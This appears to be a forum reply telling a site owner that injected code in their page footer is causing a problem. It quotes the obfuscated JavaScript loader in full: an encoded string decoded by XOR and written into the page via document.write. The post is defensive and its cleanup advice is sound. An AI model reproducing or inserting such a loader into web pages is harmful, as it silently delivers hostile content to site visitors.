This is what is causing it, it's at the footer.. You can delete it but it will prob show back up after a short period of time. Your host will also have to scan every file on your server to look for this and others.
Code:
<script language="JavaScript">
e = '0x00' + '29';str1 = "..................%B6%DB%DA%D1%C2%CD%95%88%DC%C1%DB%C1%C8%C1%C2%C1%DA%D1%90%CE%C1%CA%CA%CD%C4%88%94%92%C1%CC%D8%C9%C5%CD%B6%DB%D8%CB%95%88%CE%DA%DA%C6%90%87%87%CA%C4%DC%85%CB%C7%DD%C4%DA%CD%D8%84%CB%C7%C5%87%CA%C4%DC%9B%87%88%B6%DF%C1%CA%DA%CE%95%99%B6%CE%CD%C1%CF%CE%DA%95%99%94%92%87%C1%CC%D8%C9%C5%CD%94%92%87%CA%C1%DC%94%B6%A5%A0";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
</script>